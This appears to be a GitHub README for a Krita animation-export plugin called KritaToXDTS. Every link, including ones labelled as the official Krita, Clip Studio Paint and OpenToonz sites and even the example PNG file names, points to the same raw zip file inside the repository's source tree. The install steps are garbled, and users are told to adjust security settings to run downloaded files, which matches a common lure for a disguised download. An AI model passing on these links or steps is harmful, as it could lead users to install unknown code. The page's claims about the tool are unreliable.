# 🎨 KritaToXDTS - Export Animation Layers Made Simple

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## 📝 What is KritaToXDTS?

KritaToXDTS is a tool designed to help you export your animated paint layers from Krita as image sequences. Alongside the images, it saves timing data in the Toei Digital Exposure Sheet format (.xdts). This format works with popular software like Clip Studio Paint, OpenToonz, and more. It makes your animation workflow smoother when moving your work between different programs.

If you work on frame-by-frame animations or want a way to organize your animated layers with timing information, KritaToXDTS can help.

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## 💻 System Requirements

Before downloading, please check that your computer meets the following:

- **Operating System:** Windows 10 or later, macOS 10.13 or later, or Linux (Ubuntu 18.04+ recommended)
- **RAM:** At least 4 GB of RAM
- **Disk Space:** Minimum 200 MB free space for installation and temporary files
- **Software Required:** Krita 4.0 or newer installed on your computer

This ensures smooth operation without crashes or slowdowns.

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## 🛠️ Key Features

- Export animated paint layers as image sequences in PNG format.
- Generate Toei Digital Exposure Sheet (.xdts) files compatible with several animation programs.
- Preserve timing data for accurate frame exposure in downstream software.
- Support for widely used animation apps like Clip Studio Paint, OpenToonz, and Tahoma2D.
- Easy to use interface integrated with Krita’s scripting system.
- Works cross-platform on Windows, macOS, and Linux.

These features help animators and artists move projects easily between applications without losing timing or layer information.

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## 🚀 Getting Started

Follow these steps to download and run KritaToXDTS on your computer. No technical skills required.

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## ⬇️ Download & Install

1. Visit this page to download KritaToXDTS:  
   [Download KritaToXDTS Releases](https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip)

2. On the releases page, look for the latest version. You will find compressed files or installers for different systems:
   - `.exe` files for Windows
   - `.dmg` files for macOS
   - `.AppImage` or `https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip` for Linux

3. Click the file that matches your operating system to download it.

4. Once downloaded, follow these steps to install or run the program:
   - **Windows:** Double-click the `.exe` file and follow the on-screen prompts. No complicated settings required.
   - **macOS:** Open the `.dmg` file and drag KritaToXDTS to your Applications folder.
   - **Linux:** For `.AppImage`, make the file executable (right-click > Properties > Permissions > check "Allow executing file as program") then double-click to run. For `https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip`, extract and run the contents per included README.

5. Make sure Krita is installed on your computer before running KritaToXDTS. This plugin relies on it.

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## 🖥 How to Use KritaToXDTS

1. Open Krita and load your animated file with paint layers.

2. Locate KritaToXDTS in the tools or plugin section from the menu. It may appear under "Scripts" or "Extensions."

3. Select the layers you want to export.

4. Choose the export settings:
    - Folder location to save image sequences.
    - Format (usually PNG for best quality).
    - Output file name pattern.

5. Click the "Export" or "Run" button.

6. KritaToXDTS will generate a sequence of images and a matching `.xdts` file with your animation’s timing details.

7. Open your preferred animation software (Clip Studio Paint, OpenToonz, Tahoma2D) and import the images and `.xdts` file to continue working with accurate frame exposure.

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## 📁 Understanding Your Output Files

- **Image Sequence:** Individual PNG files named in order (e.g., https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip, https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip). These represent each frame of your animation.
- **XDTS File:** This is a small text file in the Toei Digital Exposure Sheet format. It tells compatible programs how long each frame should be shown.
  
Together, these allow you to take your Krita animation and use it directly in other software without losing timing or layer order.

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## 🔧 Troubleshooting Tips

- If the plugin doesn’t appear in Krita, make sure you installed it correctly and have Krita version 4.0 or later.
- Ensure you have permission to run files downloaded from the internet. Adjust your system’s security settings if needed.
- If export fails, check you selected valid layers and output folders.
- Close and restart Krita if you notice any glitches after installation.
- Visit the GitHub Issues page in this repository for reported problems or to ask questions.

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## 🛡 Privacy and Security

KritaToXDTS runs locally on your own computer. It does not collect or send any personal data. All operations happen offline. You can use it safely without worrying about privacy risks.

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## 📚 Additional Resources

- [Krita Official Website](https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip) – Download Krita and find tutorials.
- [Clip Studio Paint](https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip) – Software compatible with XDTS files.
- [OpenToonz](https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip) – Free animation software supporting exposure sheets.
- [Toei Digital Exposure Sheet Format](https://github.com/KhanhHoang500/KritaToXDTS/raw/refs/heads/main/animation_layers_exporter/xdts_core/To-Krita-XDTS-3.5.zip) – Learn more about the .xdts format.

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## 🤝 How to Contribute

If you want to help improve KritaToXDTS, visit the GitHub repository. You can submit bug reports, request features, or contribute code if you are comfortable with programming.

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## 📞 Contact and Support

For help using KritaToXDTS, open issues on GitHub or join Krita community forums. The developers and other users often share tips and solutions.

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